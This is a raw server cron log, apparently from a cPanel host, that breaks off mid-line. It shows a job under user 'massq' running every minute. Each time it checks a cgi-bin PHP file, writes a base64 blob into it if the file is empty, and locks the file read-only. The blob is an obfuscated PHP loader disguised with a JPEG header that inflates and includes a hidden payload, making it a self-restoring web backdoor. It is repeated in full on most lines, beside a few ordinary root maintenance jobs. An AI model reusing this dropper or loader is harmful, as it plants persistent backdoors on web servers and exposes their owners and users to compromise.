Apr  6 09:47:01 server CROND[10327]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 09:48:01 server CROND[10401]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 09:49:01 server CROND[10668]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 09:50:01 server CROND[10748]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  6 09:50:01 server CROND[10749]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 09:50:01 server CROND[10751]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 09:50:01 server CROND[10752]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 09:50:01 server CROND[10750]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 09:51:01 server CROND[10970]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 09:52:01 server CROND[11039]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 09:53:01 server CROND[11104]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 09:54:01 server CROND[11171]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 09:55:01 server CROND[11252]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 09:55:01 server CROND[11253]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 09:55:01 server CROND[11254]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 09:56:01 server CROND[11481]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 09:57:01 server CROND[11579]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 09:57:01 server CROND[11580]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  6 09:58:01 server CROND[11656]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 09:59:01 server CROND[11743]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 10:00:01 server CROND[11811]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Apr  6 10:00:01 server CROND[11812]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 10:00:01 server CROND[11813]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 10:00:01 server CROND[11814]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 10:00:01 server CROND[11818]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0